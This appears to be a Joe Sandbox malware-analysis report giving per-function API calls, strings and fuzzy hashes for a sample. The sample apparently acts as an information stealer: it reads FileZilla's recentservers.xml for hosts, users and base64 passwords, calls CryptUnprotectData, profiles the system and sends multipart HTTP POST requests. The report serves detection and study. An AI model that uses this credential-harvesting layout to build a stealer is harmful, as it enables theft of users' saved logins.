Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction ID: 4a4bbd9776da2ad99231b6c5471aa9e11f786ff18f9e7f574f496e4dc08d41d8
Opcode Fuzzy Hash: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction Fuzzy Hash: 53012575A00608EBDB24DF94DD58BDEB7B9BF88304F108189E90597250DB749B81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 004144B0 Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,04207CC0,00000000,?,0041D758,00000000,?,00000000,00000000,?,042081E0,00000000), ref: 004144C0
HeapAlloc.KERNEL32(00000000), ref: 004144C7
GetTimeZoneInformation.KERNEL32(?), ref: 004144DA
wsprintfA.USER32 ref: 00414514

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction ID: 63b956e3650aea0bdd01ac085b80a838c67200ff8d98e36f2a49cf33a9f6a1bd
Opcode Fuzzy Hash: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction Fuzzy Hash: C7F06770E047289BDB309B64DD49FA9737ABB44311F0002D5EA0AE3291DB749E858F97

Uniqueness

Uniqueness Score: -1.00%

Function 00409540 Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
LocalFree.KERNEL32(?), ref: 004095AF

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 22788d86bb0e3b36a7a96175dcc17964957ca332b329b0ec9e9903d4a9c63904
Instruction ID: 845aa5354f8c35be15d3c308e338542aeef751caf2e905b87ee6994bb5fcaacd
Opcode Fuzzy Hash: 22788d86bb0e3b36a7a96175dcc17964957ca332b329b0ec9e9903d4a9c63904
Instruction Fuzzy Hash: 2B11B7B8A00609EFCB04DF94C984AAEB7B5FF88301F104559E915A7390D774AE51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004143C0 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00401177,042011A0,004136EB,0041D6E3), ref: 004143CD
HeapAlloc.KERNEL32(00000000), ref: 004143D4
GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction ID: fd22aaf49eebc4deedfa71bce2fb200d05227bfc9b63873cd8cb515d50d954e6
Opcode Fuzzy Hash: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction Fuzzy Hash: 2CE08CB490070CFFCB20EFE4DC49E9CBBB8AB08312F000184FA09E3280DB7056848B91

Uniqueness

Uniqueness Score: -1.00%

Function 00401120 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136D7,0041D6E3), ref: 0040112A
ExitProcess.KERNEL32 ref: 0040113E

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction ID: 30efb513975bfe185fa80fb3a8f84b393628ccfbb0aa9170a1b214bc368b0093
Opcode Fuzzy Hash: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction Fuzzy Hash: B6D05E7490020C8BCB14DFE09A496DDBBB9AB8D711F001455DD0572240DA305441CA65

Uniqueness

Uniqueness Score: -1.00%

Function 004070E0 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00413068,?), ref: 004070F4
RtlAllocateHeap.NTDLL(00000000,?,00413068,?), ref: 004070FB
lstrcat.KERNEL32(?,04204028), ref: 004072AB
lstrcat.KERNEL32(?,?), ref: 004072BF
lstrcat.KERNEL32(?,?), ref: 004072D3
lstrcat.KERNEL32(?,?), ref: 004072E7
lstrcat.KERNEL32(?,04207DE0), ref: 004072FB
lstrcat.KERNEL32(?,04207E10), ref: 0040730F
lstrcat.KERNEL32(?,04207E28), ref: 00407322
lstrcat.KERNEL32(?,04207E40), ref: 00407336
lstrcat.KERNEL32(?,041FFB50), ref: 0040734A
lstrcat.KERNEL32(?,?), ref: 0040735E
lstrcat.KERNEL32(?,?), ref: 00407372
lstrcat.KERNEL32(?,?), ref: 00407386
lstrcat.KERNEL32(?,04207DE0), ref: 00407399
lstrcat.KERNEL32(?,04207E10), ref: 004073AD
lstrcat.KERNEL32(?,04207E28), ref: 004073C1
lstrcat.KERNEL32(?,04207E40), ref: 004073D4
lstrcat.KERNEL32(?,041FFA80), ref: 004073E8
lstrcat.KERNEL32(?,?), ref: 004073FC
lstrcat.KERNEL32(?,?), ref: 00407410
lstrcat.KERNEL32(?,?), ref: 00407424
lstrcat.KERNEL32(?,04207DE0), ref: 00407438
lstrcat.KERNEL32(?,04207E10), ref: 0040744B
lstrcat.KERNEL32(?,04207E28), ref: 0040745F
lstrcat.KERNEL32(?,04207E40), ref: 00407473
lstrcat.KERNEL32(?,041FF878), ref: 00407486
lstrcat.KERNEL32(?,?), ref: 0040749A
lstrcat.KERNEL32(?,?), ref: 004074AE
lstrcat.KERNEL32(?,?), ref: 004074C2
lstrcat.KERNEL32(?,04207DE0), ref: 004074D6
lstrcat.KERNEL32(?,04207E10), ref: 004074EA
lstrcat.KERNEL32(?,04207E28), ref: 004074FD
lstrcat.KERNEL32(?,04207E40), ref: 00407511
lstrcat.KERNEL32(?,041FFD58), ref: 00407525
lstrcat.KERNEL32(?,?), ref: 00407539
lstrcat.KERNEL32(?,?), ref: 0040754D
lstrcat.KERNEL32(?,?), ref: 00407561
lstrcat.KERNEL32(?,04207DE0), ref: 00407574
lstrcat.KERNEL32(?,04207E10), ref: 00407588
lstrcat.KERNEL32(?,04207E28), ref: 0040759C
lstrcat.KERNEL32(?,04207E40), ref: 004075AF
lstrcat.KERNEL32(?,041FFAE8), ref: 004075C3
lstrcat.KERNEL32(?,?), ref: 004075D7
lstrcat.KERNEL32(?,?), ref: 004075EB
lstrcat.KERNEL32(?,?), ref: 004075FF
lstrcat.KERNEL32(?,04207DE0), ref: 00407613
lstrcat.KERNEL32(?,04207E10), ref: 00407626
lstrcat.KERNEL32(?,04207E28), ref: 0040763A
lstrcat.KERNEL32(?,04207E40), ref: 0040764E

Part of subcall function 00406FA0: lstrcat.KERNEL32(3082E020,0041DEB8), ref: 00406FD6
Part of subcall function 00406FA0: lstrcat.KERNEL32(3082E020,00000000), ref: 00407018
Part of subcall function 00406FA0: lstrcat.KERNEL32(3082E020, : ), ref: 0040702A
Part of subcall function 00406FA0: lstrcat.KERNEL32(3082E020,00000000), ref: 0040705F
Part of subcall function 00406FA0: lstrcat.KERNEL32(3082E020,0041DEC0), ref: 00407070
Part of subcall function 00406FA0: lstrcat.KERNEL32(3082E020,00000000), ref: 004070A3
Part of subcall function 00406FA0: lstrcat.KERNEL32(3082E020,0041DEC4), ref: 004070BD
Part of subcall function 00406FA0: task.LIBCPMTD ref: 004070CB

lstrcat.KERNEL32(?,04201040), ref: 004077DB
lstrcat.KERNEL32(?,04208540), ref: 004077EE
lstrlen.KERNEL32(3082E020), ref: 004077FB
lstrlen.KERNEL32(3082E020), ref: 0040780B

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,04200FC0), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$Heap$AllocateInternetOpenProcesslstrcpytask
String ID:
API String ID: 3958002797-0
Opcode ID: 1deb68fe007c3a931c0a137675a9dba7412e12439f4df884cae112fa19bd3d59
Instruction ID: 3e78b0701875fb024adfa953bd7607f570b92d72e3b87f8e208063dda3fe5bd2
Opcode Fuzzy Hash: 1deb68fe007c3a931c0a137675a9dba7412e12439f4df884cae112fa19bd3d59
Instruction Fuzzy Hash: D33234B6D01A14ABCB35EBA0DC89DDE737DAB48704F404699B20A66090DF78E7C5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA90 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

strtok_s.MSVCRT ref: 0040EB5B
GetProcessHeap.KERNEL32(00000000,000F423F,0041D77A,0041D777,0041D776,0041D773), ref: 0040EBA2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EBA9
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040EBC5
lstrlen.KERNEL32(00000000), ref: 0040EBD3

Part of subcall function 00414FA0: malloc.MSVCRT ref: 00414FA8
Part of subcall function 00414FA0: strncpy.MSVCRT ref: 00414FC3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0040EC0F
lstrlen.KERNEL32(00000000), ref: 0040EC1D
StrStrA.SHLWAPI(00000000,<User>), ref: 0040EC59
lstrlen.KERNEL32(00000000), ref: 0040EC67
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040ECA3
lstrlen.KERNEL32(00000000), ref: 0040ECB5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040ED42
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED5A
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED72
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED8A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 0040EDA2
lstrcat.KERNEL32(?,profile: null), ref: 0040EDB1
lstrcat.KERNEL32(?,url: ), ref: 0040EDC0
lstrcat.KERNEL32(?,00000000), ref: 0040EDD3
lstrcat.KERNEL32(?,0041DD34), ref: 0040EDE2
lstrcat.KERNEL32(?,00000000), ref: 0040EDF5
lstrcat.KERNEL32(?,0041DD38), ref: 0040EE04
lstrcat.KERNEL32(?,login: ), ref: 0040EE13
lstrcat.KERNEL32(?,00000000), ref: 0040EE26
lstrcat.KERNEL32(?,0041DD44), ref: 0040EE35
lstrcat.KERNEL32(?,password: ), ref: 0040EE44
lstrcat.KERNEL32(?,00000000), ref: 0040EE57
lstrcat.KERNEL32(?,0041DD54), ref: 0040EE66
lstrcat.KERNEL32(?,0041DD58), ref: 0040EE75
strtok_s.MSVCRT ref: 0040EEB9
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EECE
memset.MSVCRT ref: 0040EF17

Strings

browser: FileZilla, xrefs: 0040ED99
<Host>, xrefs: 0040EBBC
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040EAE4
profile: null, xrefs: 0040EDA8
<Port>, xrefs: 0040EC06
login: , xrefs: 0040EE0A
<Pass encoding="base64">, xrefs: 0040EC9A
<User>, xrefs: 0040EC50
url: , xrefs: 0040EDB7
password: , xrefs: 0040EE3B

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: c3d49ad425597895e6b73b66ed504d4df8e9fd699888107dec2976afebe1af47
Instruction ID: d9186ee441f73b04c887f2efee86d04259a2264df0fa853aa1509dbc15227f06
Opcode Fuzzy Hash: c3d49ad425597895e6b73b66ed504d4df8e9fd699888107dec2976afebe1af47
Instruction Fuzzy Hash: 3FD174B5D00208ABCB14EBF1DD56EEE7739AF44304F50851EF106B6095DF38AA85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00415ED0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,041E2A38), ref: 00415F11
GetProcAddress.KERNEL32(74DD0000,041E2A50), ref: 00415F2A
GetProcAddress.KERNEL32(74DD0000,041E29A8), ref: 00415F42
GetProcAddress.KERNEL32(74DD0000,041E29F0), ref: 00415F5A
GetProcAddress.KERNEL32(74DD0000,041E2A08), ref: 00415F73
GetProcAddress.KERNEL32(74DD0000,041FD818), ref: 00415F8B
GetProcAddress.KERNEL32(74DD0000,041E3DE8), ref: 00415FA3
GetProcAddress.KERNEL32(74DD0000,041E3A68), ref: 00415FBC
GetProcAddress.KERNEL32(74DD0000,041E29C0), ref: 00415FD4
GetProcAddress.KERNEL32(74DD0000,041E29D8), ref: 00415FEC
GetProcAddress.KERNEL32(74DD0000,041E2A20), ref: 00416005
GetProcAddress.KERNEL32(74DD0000,04200CD0), ref: 0041601D
GetProcAddress.KERNEL32(74DD0000,041E3CA8), ref: 00416035
GetProcAddress.KERNEL32(74DD0000,04200B08), ref: 0041604E
GetProcAddress.KERNEL32(74DD0000,04200C10), ref: 00416066
GetProcAddress.KERNEL32(74DD0000,041E3D08), ref: 0041607E
GetProcAddress.KERNEL32(74DD0000,04200D48), ref: 00416097
GetProcAddress.KERNEL32(74DD0000,04200D00), ref: 004160AF
GetProcAddress.KERNEL32(74DD0000,041E3B28), ref: 004160C7
GetProcAddress.KERNEL32(74DD0000,04200BF8), ref: 004160E0
GetProcAddress.KERNEL32(74DD0000,041E3BC8), ref: 004160F8
LoadLibraryA.KERNEL32(04200C70,?,004136C0), ref: 0041610A
LoadLibraryA.KERNEL32(04200C28,?,004136C0), ref: 0041611B
LoadLibraryA.KERNEL32(04200D30,?,004136C0), ref: 0041612D
LoadLibraryA.KERNEL32(04200C88,?,004136C0), ref: 0041613F
LoadLibraryA.KERNEL32(04200C58,?,004136C0), ref: 00416150
GetProcAddress.KERNEL32(75A70000,04200B80), ref: 00416172
GetProcAddress.KERNEL32(75290000,04200DF0), ref: 00416193
GetProcAddress.KERNEL32(75290000,04200B98), ref: 004161AB
GetProcAddress.KERNEL32(75BD0000,04200CA0), ref: 004161CD
GetProcAddress.KERNEL32(75450000,041E3E28), ref: 004161EE
GetProcAddress.KERNEL32(76E90000,041FD878), ref: 0041620F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00416226

Strings

NtQueryInformationProcess, xrefs: 0041621A

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction ID: 1024ce913f91588aaf476b7e35ab3ad31cc185c195c2877b0ef9f81f7e935ec9
Opcode Fuzzy Hash: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction Fuzzy Hash: 4CA16FB5910E10AFC374DFA8FE88A1637BBBBCC3117116519A60AC72A0DF759482CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404DC0 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

lstrlen.KERNEL32(00000000), ref: 00404E4A

Part of subcall function 004155A0: CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155C0

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
StrCmpCA.SHLWAPI(?,04200FC0), ref: 00404ED9
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FF4
HttpOpenRequestA.WININET(00000000,04200FD0,?,04208A00,00000000,00000000,00400100,00000000), ref: 00405058

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,04200F20,00000000,?,04206C08,00000000,?,0041E098,00000000,?,00410996), ref: 004053EB
lstrlen.KERNEL32(00000000), ref: 004053FF
GetProcessHeap.KERNEL32(00000000,?), ref: 00405410
HeapAlloc.KERNEL32(00000000), ref: 00405417
lstrlen.KERNEL32(00000000), ref: 0040542C
memcpy.MSVCRT ref: 00405443
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 0040545D
memcpy.MSVCRT ref: 0040546A
lstrlen.KERNEL32(00000000), ref: 0040547C
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405495
memcpy.MSVCRT ref: 004054A5
lstrlen.KERNEL32(00000000,?,?), ref: 004054C2
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004054D6
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00405501
InternetCloseHandle.WININET(00000000), ref: 00405565
InternetCloseHandle.WININET(00000000), ref: 00405572
InternetCloseHandle.WININET(00000000), ref: 0040557C

Strings

", xrefs: 00405278
------, xrefs: 004051AD
", xrefs: 00405136
------, xrefs: 00404F4B
--, xrefs: 00404F34
------, xrefs: 0040506B
------, xrefs: 004052EF
", xrefs: 004053BA

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2633831070-2774362122
Opcode ID: 01261bdf6723a200b5421c223d7f00b23ed53855c071487a53c0a556e197c9d9
Instruction ID: 5eac6181e64dcc8a416a420aa9bf91bf90c69560f183aa6c55bc1ab780bc5ff6
Opcode Fuzzy Hash: 01261bdf6723a200b5421c223d7f00b23ed53855c071487a53c0a556e197c9d9
Instruction Fuzzy Hash: 55324375920218ABCB14EBA1DC51FEEB779BF54704F40419EF10662091DF38AB89CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00405610 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004056A8
StrCmpCA.SHLWAPI(?,04200FC0), ref: 004056C3
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405843
lstrlen.KERNEL32(00000000,00000000,?,?,00000000,?,",00000000,?,04201060,00000000,?,04206C08,00000000,?,0041E0D8), ref: 00405B1E
lstrlen.KERNEL32(00000000), ref: 00405B2F
GetProcessHeap.KERNEL32(00000000,?), ref: 00405B40
HeapAlloc.KERNEL32(00000000), ref: 00405B47
lstrlen.KERNEL32(00000000), ref: 00405B5C
memcpy.MSVCRT ref: 00405B73
lstrlen.KERNEL32(00000000), ref: 00405B85
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405B9E
memcpy.MSVCRT ref: 00405BAB
lstrlen.KERNEL32(00000000,?,?), ref: 00405BC8
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405BDC
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405BF9
InternetCloseHandle.WININET(00000000), ref: 00405C5D
InternetCloseHandle.WININET(00000000), ref: 00405C6A
HttpOpenRequestA.WININET(00000000,04200FD0,?,04208A00,00000000,00000000,00400100,00000000), ref: 004058A8

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

InternetCloseHandle.WININET(00000000), ref: 00405C74

Strings

-A, xrefs: 0040566F, 00405D14, 004056F7, 00405700, 0040576E, 004057E5, 004058E3, 00405A24, 00405771, 004057E8, 004058E6, 00405A27
------, xrefs: 004058BB
------, xrefs: 00405746
", xrefs: 00405985
-A, xrefs: 00405620, 00405D27, 00405623
", xrefs: 00405AC6
------, xrefs: 004059FC

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

